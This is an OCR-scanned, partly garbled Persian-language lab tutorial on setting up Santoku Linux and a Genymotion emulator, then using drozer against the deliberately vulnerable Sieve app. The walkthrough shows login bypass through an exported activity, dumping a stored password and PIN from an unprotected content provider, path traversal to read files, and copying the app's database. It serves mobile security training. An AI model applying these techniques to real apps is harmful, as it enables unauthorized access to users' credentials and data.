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@ Whdware Workstation

Ctrl+M

Open... Ctrl+0Q
Close Tab Ctrl+W
E_ Connect to Server... Ctrl+L

Connect to VMware vCloud Air...

@ Virtualize a Physical Machine..,
Export to OVF...

[ Map Virtual Disks...

Exit
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https://santoku-linux.com/

Mew Virtual Machine Wizard

i

fé

Welcome to the New Virtual
Machine Wizard

(=

VMWARE What type of configuration do you want?

WORKS ION:
PRO

(®)Typical (recommended):

Create a Workstation 12.x virtual machine
in a few easy steps,

() Custom {advanced)

Create a virtual machine with advanced
options, such as a SCSI controller type,
wvirtual disk type and compatibility with
older VMware products,

Help < Back Cancel

(®)Installer discimage file (iso):

| F:\0s\so-File\santoku_0, 5.iso w Browse...

i‘-. Could not detect which operating system is in this disc image.
You will need to specify which operating system will be installed.

(31 will install the operating system later,
The virtual machine will be created with a blank hard disk.

Help « Back Cancel

f&.q Bre 9y asl g L r?k:“ Lo 4093 ) o




Mew Virtual Machine Wizard

Select a Guest Operating System
Which operating system will be installed on this virtual machine?

Guest operating system
() Microsoft Windows

®Linux;

() Movell NetWare
() Solaris

() ¥Mware ESX
(") Other

Version

Ubuntu

Help < Back Cancel

Mew Virtual Machine Wizard

Mame the Virtual Machine
What name would you like to use for this virtual machine?

Virtual machine name:

| SANTOKL| |

Location:

| C:W=ers\Surreal\DocumentsVirtual Machines\SANTORL | Browse. ..

The default location can be changed at Edit = Preferences.




Mew Virtual Machine Wizard

Specify Disk Capacity
How large do you want this disk to be?

The virtual machine's hard disk is stored a= one or more files on the host
computer's physical disk. These file(s) start small and become larger as you
add applications, files, and data to your virtual machine.

Maximum disk size (GB): 200

Recommended size for Ubuntu: 20 GE

() Store virtual disk as a single file

(@) split virtual disk into multiple files

Splitting the disk makes it easier to move the virtual machine to another
computer but may reduce performance with very large disks.

Help < Back Cancel

Mew Virtual Machine Wizard

Ready to Create Virtual Machine
Click Finish to create the virtual machine. Then you can install Ubuntu.

The virtual machine will be created with the following settings:

MName: SANTOKL
Location: Ci\sers\Surreal\Documents \Wirtual Machines\SANT...
Version: Workstation 12.x

Operating System: Ubuntu

Hard Disk: 20 GB, Split

Memory: 1024 MB

Metwork Adapter;  MAT

Other Devices: CD,/DVD, USB Controller, Printer, Sound Card

Customize Hardware...

=




M\j £ ~313

Pl ) oo fnn o () adyl Ollass b
55 degiy Sla Se 4 el fna 355 (o

{0} Home (71 sanToKU
(5] SANTOKU

Power on this virtual machine

IE1Edit virtual machine settings

~ Devices
5 Il emory 168
[ Processors 1

(Z\Hard Disk (SCS) 20 GB
*)CD/DVD (SATA)  Using file FAQS\L..
T Network Adapter NAT

& USB Controller  Present

) Sound Card Auto detect
= Printer Present
| Display Auto detect

~ Description

Type hereto enter a d
irtual machine.

iption of this




M Install St

Welcome

Catala

Cestina You may wish to read the release notes.
Cymraeg

Dansk

Deutsch

Eesti

Espaiol
Esperanto
Euskara
Frangais
Gaeilge

Galeao

(>Quit Continue

1y 2225 O

— e . . ) 3

z Install - + X

Preparing to install Santoku

For best results, please ensure that this computer:

v has at least 8.6 GB available drive space

+ is connected to the Internet

Download updates while installing

Santoku uses third-party software to play Flash, MP3 and other media, and to work with some graphics and wi-fi
hardware. Some of this software is proprietary. The software is subject to license terms included with its
documentation.

Install this third-party software
Fluendo MP3 plugin includes MPEG Layer-3 audio decoding technology licensed from Fraunhofer IIS and Technicolor SA.

Gouit < Back Continue
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1l =3

Install

Installation type

This computer currently has no detected operating systems. What would you like to do?

© Erase disk and install Santoku
Warning: This will delete any files on the disk.

Encrypt the new Santoku installation for security
You will choose a security key in the next step.

Use LVM with the new Santoku installation

This will set up Logical Volume Management. It allows taking snapshots and easier partition resizing

Something else
You can create or resize partitions yourself, or choose multiple partitions for Santoku.

(Gaquit < Back Install Now

2 0 80
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kA Install -+ x
Who are you?
Your name: | surreal 4
Your computer's name: | surreal-vm v

The name it uses when it talks to other computers.

Pick a username: | surreal v
Choose a password: | 990® Short password
Confirm your password: [....| v

© Loginautomatically
Require my password to log in

Encrypt my home folder

{ Back Continue
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OO Genymotion

>

@ Virtual device creation wizard ? bt

Eé Select a new virtual device

Available virtual devices

Q

Sony Xperia Z-4.3 - AP1 18 - 1080x1920

Custom Tablet - 6.0.0 - API1 23 - 1536x2048

Google Nexus 5 - 5.00-API121 - 1080x1920

Google Nexus 5-4.1.1- APl 16 - 480x800

Sony Xperia Tablet Z-4.2.2 - API 17 - 1920x1200

Custormn Phone - 4.1.1 - APl 16 - 768x1280

Custormn Phone - 422 - AP1 17 - 768x1280

Custormn Phone - 4.3 - API1 18 - 768x1280 W
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— Screen size - Density

@® Predefined

1080x1920 - 420dpi i

{2 Custom (Some values may cause issues)

[ ] Runvirtual device in full-screen mode

— Android system options

Show Android navigation bar

[] Use virtual keyboard for text input

— Network mode

) NAT (default)

@ Bridge 0 QUEICGmm Atheros ARB1S51F = _
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< Advanced Wi-Fi

Network notification .
Notify whenever a public network is available

Scanning always available

Let Google's location service and other apps scan
for networks, even when Wi-Fi is off

Keep Wi-Fi on during sleep
Always

Install certificates
Wi-Fi Direct
WPS Push Button

WPS Pin Entry

MAC address
08:00:27:fd:f4.0b

IP address

192.168.1.102
fe80::a00:27ff.fefd:f40b

>l bl Seslo ol o b STl ) 51 a4l

surreal #< ping 192.168.1.102
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Surreal #< adb connect ip

Surreal #> adb install agent.apk

Jele Fokr S9) x 095790 ))3)° S5 Lo pdy OHso 4
E surreal@surreal-vm: ~ j.{j";\"“

File Edit Tabs Help

surreal@surreal-vm:~% adb connect 192.168.222.1082
already connected to 192.168.222.182:5555
surreal@surreal-vm:~$ adb devices

List of devices attached

192.168.222.102:5555

device



https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk
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EJ surreal@surreal-vm: ~/Desktop

File Edit Tabs Help

surreal@surreal-vm:~/Desktop$ adb install agent.apk
1974 KB/s (633111 bytes in 8.313s)
pkg: /data/local/tmp/agent.apk

Success

o5 f“{ Hlsos syap il Glisy Son oz G b b e

Surreal #> adb forward tcp:31415 tcp:31415

S5 3 025 ey 5 0353k, agent Il py s L




drozer Agent

Embedded Server ®
31415

EJ surreal@surreal-vm: ~/Desktop - + X
File Edit Tabs Help
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Surreal #> adb install sieve.apk

.
.
g .
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Dz> run app.package.list —f sieve
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https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk
https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk
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dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ EXTERNAL STORAGE
- android.permission.WRITE EXTERNAL STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ KEYS
- com.mwr.example.sieve.WRITE KEYS
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dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:

3 activities exported

0 broadcast receivers exported

2 content providers exported

2 services exported

is debuggable

ag jD- U\Gw\ j ol 43\4& (3 activity,2 service and content prov1der> ‘\{ f»M
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dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr .example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr .example.sieve.PWList

& 9 (mainloginactivity) Lo L},a\ Aoty gﬁj\s doo 53 Lo lowy)
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%] surreal@surreal-vm: ~/Desktop - + X
File Edit Tabs Help

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sie
PWList

20 Genymotion for personal use - Tablet-API 23 (1280x800, 213dpi) - 192.168.222.102 - O *

Unfaortunately, Sieve has stopped.

dz> run app.activity.start --component com.mwr.example.sieve
com.mwr.example.sieve.PWList
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dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN LITERAL
Read Permission: com.mwr.example.sieve.READ KEYS
Write Permission: com.mwr.example.sieve.WRITE KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
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dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...

Unable to Query content://com.mwr.
example.sieve.DBContentProvider/




Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
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dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --vertical
Password 123456789123456789

pin 1233
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dz> run app.provider.read
content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
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dz> run app.provider.download
content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.

sieve/databases/database.db /home/surreal/surrealman.db
Written 80540 bytes
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Author : Artin Ghafari (Surreal.man)
Date : 2018/5/23

Mail : surreal.iran@gmail.com
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